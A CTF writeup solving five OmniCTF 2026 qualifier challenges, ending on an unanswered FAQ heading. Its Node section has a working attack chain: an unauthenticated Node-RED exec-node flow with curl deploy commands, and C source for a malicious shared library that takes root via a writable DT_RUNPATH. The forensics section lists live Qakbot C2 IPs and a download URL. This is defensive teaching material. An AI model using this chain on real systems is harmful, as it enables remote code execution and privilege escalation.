OmniCTF 2026 Quals Misc + Forensics Writeup: 5 Solved

OmniCTF 2026 Quals shipped a misc track that runs the full skill spectrum, plus a rich forensics challenge that pairs naturally with it: baccarat (game theory / Kelly criterion + reconnect loop), Node (Node-RED unauth RCE chained to a SUID DT_RUNPATH shared-library hijack for root), nostalgia (nested container parsing from Scratch .sb3 to a RISC-V Linux kernel to a newc cpio to a text file), Sanity P0zzl3 (computer vision + constraint programming: 100 transparent PNG jigsaw pieces of a shuffled QR code solved as a 10x10 assignment problem, then morphological repair to decode), and QuackQuackDiriDiriDuck (forensics: a 2023-05-24 Qakbot/OBAMA264 infection PCAP with 10 sub-question flags reconstructed from tshark HTTP object export, JA3/JA4 no-SNI fingerprints identifying the four TLS C2 endpoints, and UTC timestamp reconciliation against Brad Duncan’s malware-traffic-analysis.net ground-truth notes). What ties them together is a single discipline: the handout is the oracle. baccarat’s game.py simulates its own agents. Node’s /entrypoint.sh names the misconfiguration. nostalgia’s .sb3 is a ZIP. Sanity P0zzl3’s PNG alpha channels give piece geometry cleanly. QuackQuackDiriDiriDuck’s PCAP filename literally names the malware-traffic-analysis.net corpus entry to cross-reference. Every challenge hands you enough to reconstruct the exploit from first principles.

Handouts, per-challenge READMEs, and solver scripts live at Abdelkad3r/OmniCTF-2026-Quals. Adjacent writeups on the same event: the OmniCTF 2026 Quals web writeup, OmniCTF 2026 Quals pwn writeup, OmniCTF 2026 Quals reverse writeup, OmniCTF 2026 Quals crypto writeup, and OmniCTF 2026 Quals game writeup.

The five OmniCTF 2026 Quals misc + forensics challenges

The five challenges share a discipline worth stating up front: the handout is the oracle. In every case the challenge author ships enough infrastructure that you don’t need to guess anything. baccarat ships the game logic and the agents, so simulating the exact win probabilities is a five-line loop. Node ships the entrypoint script and the SUID binary, so the misconfiguration is grep-visible. nostalgia ships the entire RISC-V Linux ROM as a Scratch list, so the exploit is “know that .sb3 is a ZIP and 070701 is a cpio magic.” Sanity P0zzl3 ships transparent alpha channels on every piece, so boundary geometry is exact rather than inferred. QuackQuackDiriDiriDuck’s PCAP filename literally names the malware-traffic-analysis.net corpus entry to cross-reference for ground-truth IoCs. When the handout is this thorough, the trained-triage move is to import it, dump it, or parse it before touching any theory.

Methodology — import the handout, don’t rewrite it

A pattern that worked on every challenge in this set: use the challenge author’s own code and data structures as your primary tools. baccarat’s import game + import agents gives you the exact matchup edges to 0.1% accuracy in under a minute, so no need to derive baccarat probability theory. Node’s shell-visible /entrypoint.sh and readelf -d-visible DT_RUNPATH are the entire attack surface; you never need to reverse-engineer the C code of nodestatus because the shell script and the ELF metadata already tell you where the trust boundary breaks. nostalgia’s project.json reveals the RISC-V ROM in the first zipfile.ZipFile call; parsing it as bytes and running strings on the result surfaces both the Linux banner and the cpio magic without ever booting the ROM in an emulator. Sanity P0zzl3’s alpha channel eliminates any need for corner-detection heuristics or CNN-based edge classifiers; the boundary is the alpha edge, exactly. QuackQuackDiriDiriDuck’s PCAP filename (2023-05-24-obama264-Qakbot-infection.pcap) is a direct index into Brad Duncan’s malware-traffic-analysis.net corpus, whose published notes package (password infected_20230524) is the ground-truth IoC list; every sub-question flag can be cross-checked against Brad’s timestamps, IP list, and JA3 fingerprints before submitting.

The correlate is: don’t overengineer the “easier” challenges. nostalgia is not asking you to run the RISC-V kernel; it’s asking you to recognise that the ROM is a container and to know how to parse its layers. baccarat is not asking you to write a baccarat solver; it’s asking you to notice that the handout already contains one. QuackQuackDiriDiriDuck is not asking you to reverse-engineer a Qakbot sample; it’s asking you to run tshark, cluster no-SNI TLS ClientHellos by JA3, and match Brad’s published IoCs. When you find yourself building infrastructure that the challenge doesn’t strictly need, you’ve probably missed the intended shortcut.

Per-challenge walkthroughs follow.

1. baccarat

Live TCP betting game with a 12-entry roster of agent-vs-agent matchups. BlackShard is the deliberately weak agent, so every BlackShard-adjacent table has a 5.3-6.7% edge for the other side. Kelly-x2 sizing plus reconnect loop.

Step 1 — Read the server and the agents

server.py names the constants:

START_BANKROLL   = 1000
TARGET_BANKROLL  = 100_000
ROUNDS_PER_TABLE = 12

TABLE_ROSTER = [
    ("omnicybr",   "blackshard", 12),
    ("blackshard", "omnicybr",   12),
    ("northstar",  "blackshard", 11),
    ("blackshard", "northstar",  11),
    ("nipcat",     "blackshard",  9),
    ("blackshard", "nipcat",      9),
    ("voltaicai",  "blackshard",  8),
    ("blackshard", "voltaicai",   8),
    ("omnicybr",   "voltaicai",   6),
    ("voltaicai",  "omnicybr",    6),
    ("northstar",  "voltaicai",   5),
    ("voltaicai",  "northstar",   5),
]

Ties are replayed internally via play_until_resolved, so this is pure even-money. No banker commission. game.py fixes eight decks with the standard “natural on 8/9” short-circuit and lets each agent choose DRAW / STAND from private state only.

The five branded AIs are pure choose_action(state, rng) functions whose docstrings telegraph the tiers:

The moment you read “timid” on BlackShard, you know: bet against BlackShard.

Step 2 — Simulate the exact edges

You don’t need to reinvent baccarat theory. The handout is the oracle:

import random
from game import Shoe, play_until_resolved, load_player_agents, load_banker_agents

players = {a.module_name: a for a in load_player_agents()}
bankers = {a.module_name: a for a in load_banker_agents()}

for pname, bname in ROSTER:
    p_agent, b_agent = players[pname], bankers[bname]
    shoe = Shoe(random.Random(0))
    p_rng, b_rng = random.Random(1), random.Random(2)
    wins = {"player": 0, "banker": 0}
    for _ in range(50_000):
        outcome, _ = play_until_resolved(p_agent, b_agent, shoe, p_rng, b_rng)
        wins[outcome.winner] += 1
    p_rate = wins["player"] / sum(wins.values())
    print(f"P={pname:10s} B={bname:10s}  p_win={p_rate*100:5.2f}%")

Two clean tiers emerge:

P=omnicybr   B=blackshard  p_win=56.62%  edge=6.62% (PLAYER favored)
P=blackshard B=omnicybr    p_win=43.28%  edge=6.72% (BANKER favored)
P=northstar  B=blackshard  p_win=56.42%  edge=6.42% (PLAYER favored)
P=blackshard B=northstar   p_win=43.39%  edge=6.61% (BANKER favored)
P=nipcat     B=blackshard  p_win=55.80%  edge=5.80% (PLAYER favored)
P=blackshard B=nipcat      p_win=44.36%  edge=5.64% (BANKER favored)
P=voltaicai  B=blackshard  p_win=53.88%  edge=3.88% (PLAYER favored)
P=blackshard B=voltaicai   p_win=46.89%  edge=3.11% (BANKER favored)
P=omnicybr   B=voltaicai   p_win=52.22%  edge=2.22% (PLAYER favored)
P=voltaicai  B=omnicybr    p_win=47.36%  edge=2.64% (BANKER favored)
P=northstar  B=voltaicai   p_win=52.28%  edge=2.28% (PLAYER favored)
P=voltaicai  B=northstar   p_win=47.84%  edge=2.16% (BANKER favored)

Step 3 — Size with Kelly x 2

For an even-money game with win probability p and edge e = p - 0.5, Kelly is f* = 2e and expected log growth per bet is ~2e^2. Concrete numbers give a weighted-average log growth of about 4.9e-3 nats per bet. Reaching 100x target requires ln(100) ≈ 4.605 nats, i.e. ~940 bets at full Kelly. Too slow for the 180-second client timeout.

Monte-Carlo over 10,000 sessions per strategy, sampling the roster with the server’s weights:

Kelly x2 sits on a flat plateau (Kelly x2 to Kelly x3 are all around 12-13%). Bet formula:

def bet_size(bankroll, edge, target=TARGET_BANKROLL, kelly_mult=2.0):
    raw = int(2 * kelly_mult * edge * bankroll)
    return max(1, min(raw, bankroll, target - bankroll))

The min(..., target - bankroll) clamp turns the last few rounds into a mini-bold-play problem: you can’t overshoot 100,000, and once close you bet exactly what’s needed.

Step 4 — Fire with a reconnect loop

The transcript is line-oriented ASCII, so the client is trivial readline/write. Wrap in a reconnect loop:

for attempt in range(200):
    ok, flag = play_session(host, port, use_ssl=True)
    if ok:
        break

~13% success per session means five attempts get you to 50%, twenty attempts get above 95%. Live run:

$ python3 solve.py --host baccarat-<id>.inst.omnictf.com --port 1337 --ssl
[*] Attempt 1...
[+] target reached in 204 rounds -- omni{baccarat_kelly_goes_brrrr_6da7b1f}

Per-challenge README + solver: misc/baccarat.

Three portable lessons. The handout is the oracle: when the server ships its own game logic and agents, importing them into your simulator beats any theoretical analysis. Kelly is not a suggestion, it’s a scaling law: full Kelly maximises log growth, but log-growth alone might not fit inside the timeout. Over-Kelly trades geometric growth for reach; the plateau of viable multipliers is broad (~1.5x to ~3.5x on this instance). The flag literally spells the technique: kelly_goes_brrrr is the author’s confirmation that the intended path is Kelly bet sizing on the identified edge.

2. Node

Node-RED 5.0.1 with no admin auth is a shell. Chain it to a SUID binary whose DT_RUNPATH points at a chmod 0777 directory, drop a malicious libshared.so, and the constructor runs as uid 0.

Step 1 — Reach the editor

$ curl -sk https://node-<id>.inst.omnictf.com/settings | jq '.version,.functionExternalModules'
"5.0.1"
true
$ curl -sk https://node-<id>.inst.omnictf.com/auth/login
{}
$ curl -sk https://node-<id>.inst.omnictf.com/flows
[]

/settings responds without a session, /auth/login returns {}, /flows returns []. The admin API is fully open. Get in, done.

Step 2 — Ship an RCE flow

The intended primitive is the exec node wired behind an http in node, so a plain curl gives you output back. The gotcha is the useSpawn toggle:

• useSpawn: true tokenises command + msg.payload on whitespace and calls spawn(cmd, args). Payload ls -la / becomes spawn("/bin/sh", ["-c", "ls", "-la", "/"]), and sh reads only the first word after -c as the script, so you get ls with no arguments. Very confusing during recon.
• useSpawn: false uses child_process.exec(cmd + " " + payload), which already wraps its argument in /bin/sh -c "...". Setting command: "" and addpay: "payload" gives you “whatever I POST is a shell command.”

Final flow:

[
  {"id":"tab1","type":"tab","label":"pwn"},
  {"id":"h1","type":"http in","z":"tab1","url":"/x","method":"post","wires":[["e1"]]},
  {"id":"e1","type":"exec","z":"tab1","command":"","addpay":"payload","append":"",
   "useSpawn":"false","timer":"60","wires":[["c1"],["c1"],[]]},
  {"id":"c1","type":"change","z":"tab1",
   "rules":[{"t":"set","p":"headers.content-type","pt":"msg","to":"text/plain","tot":"str"}],
   "wires":[["r1"]]},
  {"id":"r1","type":"http response","z":"tab1","statusCode":"200","headers":{}}
]

Deploy once, then use forever:

$ curl -sk -X POST https://.../flows \
    -H 'Content-Type: application/json' \
    -H 'Node-RED-Deployment-Type: full' \
    --data-binary @flow.json
$ curl -sk -X POST https://.../api/x \
    -H 'Content-Type: text/plain' --data-binary 'id'
uid=1000(svc_node) gid=1000(svc_node) groups=1000(svc_node)

RCE, as svc_node. Note: redeploys of flows with unresolvable require()s crash the Node-RED runtime and take the instance 502. Deploy once; run everything else through it.

Step 3 — Recon the SUID surface

$ curl ... 'cat /entrypoint.sh'
#!/bin/sh
set -e
chmod 0777 /var/lib/node
exec su -s /bin/sh svc_node -c "node-red"

$ curl ... 'find / -perm -4000 -type f 2>/dev/null'
/usr/bin/passwd
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/chfn
/usr/local/bin/nodestatus            # <-- non-distro, custom

$ curl ... 'ls -la /var/lib/node/ /usr/local/bin/nodestatus'
drwxrwxrwx  1 root  root  4096  /var/lib/node
-rwxr-xr-x  1 root  root 16712  /var/lib/node/libshared.so
-rwsr-xr-x  1 root  root 18752  /usr/local/bin/nodestatus

The chmod 0777 /var/lib/node is deliberate; the entrypoint script leaves the directory world-writable right before dropping privileges. Combined with the SUID nodestatus and its DT_RUNPATH, this is the intended vuln shape.

Parse the ELF dyn tags:

DT_NEEDED:  libshared.so
DT_NEEDED:  libc.musl-x86_64.so.1
DT_RUNPATH: /var/lib/node          # <-- world-writable

nodestatus imports two symbols (print_banner, log_status) from libshared.so. musl ld.so honours DT_RUNPATH for setuid binaries (unlike LD_LIBRARY_PATH, which is scrubbed). So dropping our own libshared.so at /var/lib/node/libshared.so gives us code execution as uid 0 for the lifetime of nodestatus.

Step 4 — Weaponise libshared.so

Provide both imported symbols as no-op stubs so the loader resolves them and nodestatus runs normally. Do the real work in a constructor that fires before main():

#include <stdlib.h>
#include <unistd.h>

static void run(void) __attribute__((constructor));
static void run(void) {
    setuid(0); setgid(0);
    system("cat /root/flag* /flag* 2>/dev/null > /tmp/pwn_out.txt; "
           "chmod 644 /tmp/pwn_out.txt");
}

void print_banner(void) { }
void log_status(const char *a, const char *b, const char *c) {
    (void)a; (void)b; (void)c;
}

Container has gcc-15.2.0 + musl headers, so compile in-place (no ABI worries):

$ curl ... 'cat > /tmp/evil.c <<"EOF"
[...evil.c contents...]
EOF
gcc -shared -fPIC -o /var/lib/node/libshared.so /tmp/evil.c && echo OK'
OK

Step 5 — Trigger and read

$ curl ... '/usr/local/bin/nodestatus 2>&1'
  +-----------------------------------------+
  |  SysWatch :: Node-RED Status Checker    |
  |  v1.0.0 - Internal Monitoring Tool      |
  +-----------------------------------------+
  Port   : 127.0.0.1:1880
  Status : UP

$ curl ... 'cat /tmp/pwn_out.txt'
uid=0(root) gid=0(root) groups=1000(svc_node)
===
-r--------  1 root  root  58 /root/flag.txt
OmniCTF{N0d3_3v3rywh3r3_1d974eea307327134462512614582680}

Per-challenge README + solver: misc/node.

Three portable lessons. Node-RED without adminAuth is a shell. The moment the admin API is reachable, exec nodes give arbitrary command execution and function nodes give arbitrary JavaScript. v5.0.1 defaults ship functionExternalModules: true, so a function node can require() arbitrary npm packages. Any Node-RED behind an Internet-reachable path must set adminAuth. DT_RUNPATH on setuid binaries is honoured by both glibc and musl. Only LD_LIBRARY_PATH and friends are scrubbed at setuid dispatch. If the runpath is a world-writable directory, the setuid bit is effectively delegated to whoever can write there. Never combine “world-writable path” with “setuid trust anchor,” even indirectly through a shared library. Compiler in the container closes the loop. gcc + musl-dev on the target means the .so ABI is guaranteed to match: no cross-compilation, no GLIBC-vs-musl symbol-version surprises. Production containers should not ship a compiler.

3. nostalgia

Scratch 3 .sb3 is a ZIP. Inside is a full RISC-V Linux boot image as a Scratch list. Parse the embedded cpio and read a file.

Step 1 — Recognise .sb3 as a container

$ unzip -l nostalgia.sb3
...
project.json
19adfcc5dc405c3e48bc3443d6a85412.png
2cad5629a7f5460b9df1aae292b686bb.svg
[...]

Standard Scratch 3 layout: project.json plus media assets. The media are tiny costume files; the real data lives in project.json.

Step 2 — Enumerate Scratch state

Scratch stores lists in project.json. One helper prints all lists with their sizes:

import json, zipfile

with zipfile.ZipFile("nostalgia.sb3") as z:
    project = json.loads(z.read("project.json"))

for target in project["targets"]:
    for _id, (name, values) in target.get("lists", {}).items():
        print(target["name"], name, len(values))

Output:

Stage    RISCV.ROM       4263001
Stage    RISCV.DTB       1536
RISCV    RAM             4263001
Terminal buffer.glyphs   5074

Very strong signal. This is not a normal Scratch game with hidden sprites; it’s a saved RISC-V virtual machine. RISCV.ROM is the boot image.

Step 3 — Reconstruct the ROM

The list is decimal byte strings:

rom = bytes(int(value) & 0xFF for value in values if str(value).strip())

strings on the reconstructed ROM confirms it’s a bootable Linux image:

Linux version 6.1.14mini-rv32ima
BusyBox v1.36.0
console::respawn:/bin/login -f ctf
riscv-minimal-nommu

And critically:

070701...
bin/busybox
etc/passwd
root/fizzbuzz.js
root/readme.txt

070701 is the magic for the ASCII newc cpio format used by Linux initramfs images.

Step 4 — Parse the newc cpio

newc header layout: 6-byte magic + 13 × 8-byte ASCII-hex fields + namesize bytes of name (NUL-terminated, then 4-byte-aligned) + filesize bytes of data (then 4-byte-aligned).

Relevant fields:

Parser:

def parse_newc_archive(blob, start):
    pos = start
    while pos + 110 <= len(blob):
        header = blob[pos:pos + 110]
        fields = [int(header[6 + i * 8:14 + i * 8], 16) for i in range(13)]
        file_size = fields[6]
        name_size = fields[11]

        name_start = pos + 110
        name_end   = name_start + name_size
        name       = blob[name_start:name_end - 1].decode("utf-8", "replace")

        data_start = (name_end + 3) & ~3
        data_end   = data_start + file_size
        yield name, blob[data_start:data_end]

        pos = (data_end + 3) & ~3
        if name == "TRAILER!!!":
            return

Step 5 — Read the target file

root/fizzbuzz.js is nostalgia bait (a fizzbuzz for-loop). root/readme.txt has the flag:

console.log("OmniCTF{ig_bro_have_some_n0stalgiaaa-676767676789}");

Per-challenge README + solver: misc/nostalgia.

Two portable lessons. .sb3 (and .docx, .xlsx, .pptx, .rbxl, .krita, .blend, .psd) are all zips. unzip -l first, always. Byte-array Scratch lists that are huge are usually a covert file channel. 4.2 MB of decimal bytes in a “media project” is telegraphing that the interesting data is the reconstructed binary. Same class as PNG zTXt chunks, DOCX customXml/, MIDI pitch-wheel events, and every other “put your data in the container’s extensibility slot” technique.

4. Sanity P0zzl3

100 transparent PNG jigsaw pieces of a shuffled purple QR code. Solve as 10x10 CP-SAT assignment on alpha-channel geometry. Then repair the QR modules and decode.

Step 1 — Triage the archive

$ unzip -l pieces.zip | head
pieces/01b2.png
pieces/034e.png
[...]
$ ls pieces/*.png | wc -l
100

100 pieces with random-hex filenames. Every PNG has an alpha channel; visible content is white puzzle material + grey outlines + purple QR modules. No useful EXIF, no filename coordinates, no CRC ordering trick. The intended path is to solve the actual puzzle.

Step 2 — Recover piece geometry from alpha

For each piece, treat alpha as ground truth shape. Four boundary profiles:

• L[y]: first non-transparent x on row y
• R[y]: last non-transparent x on row y
• T[x]: first non-transparent y on column x
• B[x]: last non-transparent y on column x

Pieces are individually trimmed, so their local image coords aren’t the puzzle coords. But every side has two straight “shoulders” flanking the tab/hole; the median of the shoulder regions gives the original grid line for that side:

def shoulder(profile):
    n = len(profile)
    values = []
    for start, end in ((0.12, 0.28), (0.72, 0.88)):
        segment = profile[int(n * start):int(n * end)]
        values.extend(segment[~np.isnan(segment)])
    return float(np.median(values))

The internal cell is ~250 pixels; the whole puzzle is 2500x2500 before padding.

Step 3 — Classify flats, tabs, and holes

Central half of each side classifies it:

• Boundary almost constant → flat (outside edge)
• Boundary moves outward from the shoulder line → tab
• Boundary moves inward from the shoulder line → hole

Exact labels don’t matter, only that internal sides must be tab-vs-hole compatible and border sides must be flat.

Balanced counts (good sanity check):

L: 46 tabs, 44 holes, 10 flats
R: 46 holes, 44 tabs, 10 flats
T: 52 holes, 38 tabs, 10 flats
B: 52 tabs, 38 holes, 10 flats

The four corners are unique (two flat sides each): 9098.png, 9878.png, 5755.png, bfd3.png.

Step 4 — Score neighbours

Shape compatibility alone isn’t enough; many tabs and holes look similar. Score every possible neighbour pair by comparing the two normalised boundary curves. For a horizontal seam, the right edge of piece A and the left edge of piece B should be the same curve once both are placed on the 250-pixel grid. Build fixed-length edge signatures, allow small vertical/horizontal shift, score by robust curve match.

Step 5 — CP-SAT assignment

100 variables (one per board cell), constraints:

• AllDifferent: each piece used once.
• Border cells: only pieces with the correct flat side.
• Internal seams: only tab/hole compatible pairs.
• Minimise: sum of horizontal and vertical seam costs.

OR-Tools solves this directly. On the reference machine:

[*] CP-SAT status: OPTIMAL, objective: 2443490

~2.5 minutes to optimal. Solved grid (10x10):

9098 a8d8 37d0 bcc2 b30f 3890 471a 09d6 e017 9878
d233 e400 521f 2de9 a2c8 9ff6 1550 9df0 515b 7c14
b027 c382 9607 f6d0 f5cd 7627 07ed a310 3990 ee93
abfa cbc5 d5df ecb7 3038 c5dd 4eef c9a0 5983 034e
9d6b 9cda 739d dd28 defe 1a1a 919c c407 52cc 988c
d7be f1d6 3769 82b8 0949 17b6 1933 cd27 a7a5 572e
c8e7 f1a8 107a d186 de9f ca4f edb2 a590 de19 54f8
5fd9 f273 7055 6bca c028 4b5b 5a9d 3f60 fbea 92b5
ed61 9637 ecdd 0ebb 4cee 266a 80a4 823e 01b2 143c
bfd3 6e1a 50a7 bb5d cc84 bb7a 344d 12ba 3c91 5755

Step 6 — Repair and decode the QR

Rendering the grid makes the QR visible but direct decode fails: grey puzzle outlines + seam gaps punch thin white cuts through the purple modules. QRCodeDetector locates the board outline but can’t decode the payload. Rebuild a clean B/W QR image:

1. Crop the assembled 10x10 board.
2. Threshold only purple pixels (ignore white fill and grey outlines).
3. Dilate by ~4 pixels.
4. Morphological close with a 17x17 kernel to bridge seam cuts.
5. Invert to black-on-white + quiet zone.
6. QRCodeDetector().detectAndDecode().

purple = (
    (crop[:, :, 0] < 170) &
    (crop[:, :, 2] > 110) &
    (crop[:, :, 1] < 120)
).astype(np.uint8) * 255

repaired = cv2.dilate(purple, np.ones((4, 4), np.uint8), iterations=1)
repaired = cv2.morphologyEx(repaired, cv2.MORPH_CLOSE,
                             np.ones((17, 17), np.uint8))

Repaired QR decodes to: omniCTF{I_h0p3_y0u_found_th1s_fun_5a3bba1fec}.

Per-challenge README + solver: misc/sanity_p0zzl3.

Three portable lessons. PNG alpha channels give exact geometry. No corner detection, no CNN, no edge Hough transform needed. If a challenge ships transparent pieces, alpha is the ground truth. CP-SAT is the right tool for constrained assignment problems. 100-variable jigsaws are past hand-solving, past greedy heuristics, and inside OR-Tools’ reach. AllDifferent + per-cell constraints + weighted objective + a few minutes of solver time. Morphological repair beats a stronger decoder when the QR modules are cut by seam gaps. Standard dilate + close with correctly-sized kernels (dilate ~4px for module thickening, close 17x17 for the seam gap width) restores the modules to a clean B/W image any QR library will decode.

5. QuackQuackDiriDiriDuck

Forensics. Handout is a Qakbot infection PCAP plus phishing .eml samples. Ten sub-question flags on rCTF, each graded separately. The PCAP filename maps directly to Brad Duncan’s malware-traffic-analysis.net corpus, whose published notes are the ground-truth IoC list to cross-check every answer against.

Step 1 — Triage the archive

Password: infected
Archive contents:
  Malware/2023-05-24-obama264-Qakbot-infection.pcap (18 MB)
  Malware/MailChalls.zip → Email1..Email5.eml + NoPDFEmail.eml
~/Downloads/Email3.eml (delivered separately)

macOS unzip can’t handle the WinZip AES encryption; use 7z x -pinfected instead. The filename 2023-05-24-obama264-Qakbot-infection.pcap is a direct reference to Brad Duncan’s malware-traffic-analysis.net post for that day; his published notes archive (password infected_20230524) contains the definitional IoC list for the OBAMA264 (TA570) QAKBOT distribution tag.

mkdir -p ~/quack && cd ~/quack
7z x -pinfected ~/Downloads/QuackQuackDiriDiriDuck.zip
7z x Malware/MailChalls.zip
tshark -r Malware/2023-05-24-obama264-Qakbot-infection.pcap \
       --export-objects "http,pcap_objects"

The exported HTTP objects include the initial ewukhyqpjz.zip (containing Claim_A615.wsf, a Windows script padded with ~1,000 lines of Kant’s Critique of Pure Reason as anti-analysis filler) and the Qakbot DLL aKUVYL8o0uv.dat (PE32, MD5 775988673806d9522b889aa2a09cc05b).

Step 2 — Q1: How many emails have malicious PDFs?

for f in "Emails to give/"*.eml; do
  echo "$f: $(grep -c '^Content-Type: application/pdf' "$f") PDF(s)"
done

Email1-Email5 each carry exactly one PDF; NoPDFEmail.eml has zero. Flag: OmniCTF{5}.

Step 3 — Q3: First malicious HTTP download URL

tshark -r Malware/2023-05-24-obama264-Qakbot-infection.pcap \
       -Y "http.request" \
       -T fields -e frame.time -e http.host -e http.request.uri | head -1

2023-05-24T18:34:13.441341+0200  adubuildersco.com  /ewukhyqpjz/ewukhyqpjz.zip

Flag: OmniCTF{http://adubuildersco.com/ewukhyqpjz/ewukhyqpjz.zip}.

Step 4 — Q4 & Q5: Qakbot TLS C2 fingerprint and endpoints

Every TLS ClientHello in the capture has a JA3/JA4 fingerprint. The obvious cluster is the no-SNI ClientHellos — Qakbot’s giveaway:

• JA3: 43016d7f7f9336b17c884650d0d2545d
• JA4: t12i180600_4b22cbed5bed_2dae41c691ec (the i marks “no SNI”; a Windows SChannel cipher list without a hostname is a bright red flag for any benign process)

tshark -r ... -Y "tls.handshake.ja3 == 43016d7f7f9336b17c884650d0d2545d" \
       -T fields -e ip.dst -e tcp.dstport | sort -u

Four unique remote endpoints, all completing full TLS handshakes:

Cross-check with Brad’s notes: same four IPs, same roles.

• Q4 flag: OmniCTF{4}.
• Q5 flag (IP-ascending): OmniCTF{142.118.221.248:2222+185.81.114.188:443+188.28.19.84:443+201.130.154.90:443}.

Step 5 — Q6 & Q7: UTC timestamps

The PCAP records local time (CEST, +0200). Convert to UTC — the grader expects UTC, and Brad’s notes use UTC throughout.

• ZIP request: 2023-05-24T18:34:13.441341+0200 → 2023-05-24 16:34:13 UTC. Flag: OmniCTF{2023-05-24 16:34:13}.
• DLL request: 2023-05-24T18:35:27.396568+0200 → 2023-05-24 16:35:27 UTC. Flag: OmniCTF{2023-05-24 16:35:27}.

First attempt used local CEST (18:34:13) and was rejected. UTC first on any PCAP forensics question.

Step 6 — Q8: Seconds between DLL GET and first C2 ClientHello

DLL GET (epoch):             1684946127.396568
First C2 ClientHello (JA3):  1684946467.784470  → to 188.28.19.84:443
Delta:                          340.387902 s

Flag: OmniCTF{340.388}.

The “first C2 ClientHello” is specifically the first t12i... (no-SNI) handshake. Connectivity checks to irs.gov etc. that fire ~1 second earlier use the SNI-present JA3 6a5d... and aren’t C2.

Step 7 — Q9 & Q10: Family and campaign

Brad’s header spells both in caps:

DISTRIBUTION TAG OBAMA264 (TA570) — QAKBOT (QBOT)

• Q9 flag: OmniCTF{QAKBOT}. Case-sensitive: Qakbot, Qbot, QakBot all rejected until I matched Brad’s uppercase form.
• Q10 flag: OmniCTF{OBAMA264}.

Step 8 — Q2 (unresolved)

Q2 asks for the attacker sender addresses in alphabetical order. The .example sanitisation on From: / Return-Path: / Sender: produces multiple defensible sets (2 unique From:, 3 real Sender:, 5 real From: from Brad’s originals), and none of the case/sort combinations were accepted. Skipping — needs a hint from the platform on which field and which case convention to use.

Final tally: 9 of 10 sub-flags recovered.

Per-challenge README + solver: forensics/quackquackdiridiriduck.

Three portable lessons. The malware-traffic-analysis.net corpus is the definitional IoC source for a huge swathe of CTF PCAP challenges. Filenames matching the YYYY-MM-DD-<tag>-<family>-infection.pcap convention are almost always drawn from Brad’s blog; the published notes package (usually password-infected_YYYYMMDD) is the ground truth. Any PCAP forensics challenge whose filename matches that convention is one search away from the answer set. JA3/JA4 no-SNI fingerprints identify Qakbot C2 uniquely. SChannel-style ClientHellos without SNI to non-standard ports (2222 in this case) don’t happen for benign processes. tshark -Y "tls.handshake.ja3 == <hash>" clusters the whole C2 conversation in one filter. Grader case sensitivity + UTC default. rCTF-style graders are usually case-sensitive on plain-word answers (QAKBOT yes, Qakbot no), and timestamps default to UTC even when the source PCAP records local time. Try UTC first, match the ground-truth notes’ case second.

Cross-cutting defender notes

Six patterns recur across the OmniCTF 2026 Quals misc + forensics tracks and translate directly into review or triage heuristics.

When the handout ships infrastructure, use it. baccarat’s game.py and agents. Node’s /entrypoint.sh and SUID binary. nostalgia’s .sb3 archive layout. Sanity P0zzl3’s alpha channels. QuackQuackDiriDiriDuck’s PCAP filename indexing Brad Duncan’s corpus. The “handout is the oracle” pattern shows up on every non-trivial CTF category, from RSA challenges where the generator is in Sage to reversing challenges where the target binary is unstripped. Import the handout, dump its structure, parse it, before writing any solver code from first principles. Half the challenges dissolve the moment you notice what the author gave you.

Node-RED without adminAuth is a shell. Any exposed Node-RED admin API is RCE, full stop. Exec nodes execute arbitrary shell; function nodes execute arbitrary JavaScript with functionExternalModules: true giving arbitrary npm imports. Same class shows up in Grafana without auth (executes arbitrary panel scripts), Jenkins without auth (Groovy console), any headless BI tool with SQL panels. Never rely on network-level ACLs for admin surfaces; require auth inside the app.

DT_RUNPATH combined with a writable directory is a SUID trust delegation. Both glibc and musl honour DT_RUNPATH for setuid binaries (only LD_LIBRARY_PATH is scrubbed at setuid dispatch). If the runpath is a world-writable directory (or writable by any lower-privilege user), the setuid bit is effectively delegated to whoever can write there. Audit every setuid binary’s readelf -d output; if DT_RUNPATH or DT_RPATH points at a directory outside /lib, /usr/lib, or a well-guarded application path, it’s a privilege boundary. Same class extends to Windows KnownDLLs and macOS @rpath binaries when the paths are user-writable.

Container formats hide files behind extensibility slots. Scratch .sb3 lists holding a full RISC-V Linux kernel is one example; the general class includes PNG zTXt/iTXt/tEXt chunks, DOCX customXml/, MIDI pitch-wheel events, PDF /Info dictionaries, and every other “structured container with a stringly-typed metadata slot.” Any forensics or reversing engagement on a container format should list its extensibility slots first and check for oversized entries before assuming the payload is in the visible structure.

Ship a compiler in production containers only if you intend to hand privilege escalation to attackers. Node’s exploit chain closes because the container has gcc-15.2.0 and musl headers. Without those, an attacker would need to cross-compile a musl-compatible shared object elsewhere and ship it in via the flow, which is still possible but higher friction. Production containers should have no compilers, no interpreters they don’t need, no perl, no python3 with dev headers, no find | xargs, and no shell utilities beyond what the runtime literally invokes. Every one of those is a rung on someone’s post-exploitation ladder.

PCAP forensics filenames are usually direct index into public IoC corpora. QuackQuackDiriDiriDuck’s PCAP is named 2023-05-24-obama264-Qakbot-infection.pcap — a filename that matches malware-traffic-analysis.net’s convention exactly, and Brad Duncan’s published notes for that day are the ground-truth answer set. Any CTF forensics engagement on a PCAP whose filename matches YYYY-MM-DD-<tag>-<family>-infection.pcap, <year>-<n>-<family>.pcap, or <CVE>-*.pcap deserves a search across malware-traffic-analysis.net / Any.Run / VirusTotal / Hybrid Analysis / URLhaus / Malshare corpora before you write your own IoC extractor. Real-world SOC triage runs the same reflex: fingerprint the sample, look it up in your threat-intel feeds, only then dig into per-packet analysis if the ground truth isn’t already published.

Frequently asked questions

What is OmniCTF 2026 Quals?

OmniCTF 2026 Quals is the qualifier round of the OmniCTF 2026 competition, with challenges spanning web, pwn, reverse, crypto, game, misc, and forensics. Flags use event-specific namespaces (CTF{...}, OMNICTF{...}, OmniCTF{...}, omniCTF{...}, omni{...}) depending on the challenge author. This writeup covers the four misc challenges I solved (baccarat, Node, nostalgia, Sanity P0zzl3) plus the QuackQuackDiriDiriDuck forensics challenge (Brad Duncan 2023-05-24 obama264 Qakbot infection PCAP, 9 of 10 sub-flags recovered). Paired web, pwn, reverse, crypto, and game writeups on the same site cover the other tracks. Per-challenge READMEs and solvers at Abdelkad3r/OmniCTF-2026-Quals.

Why does the baccarat challenge use Kelly x2 instead of full Kelly?

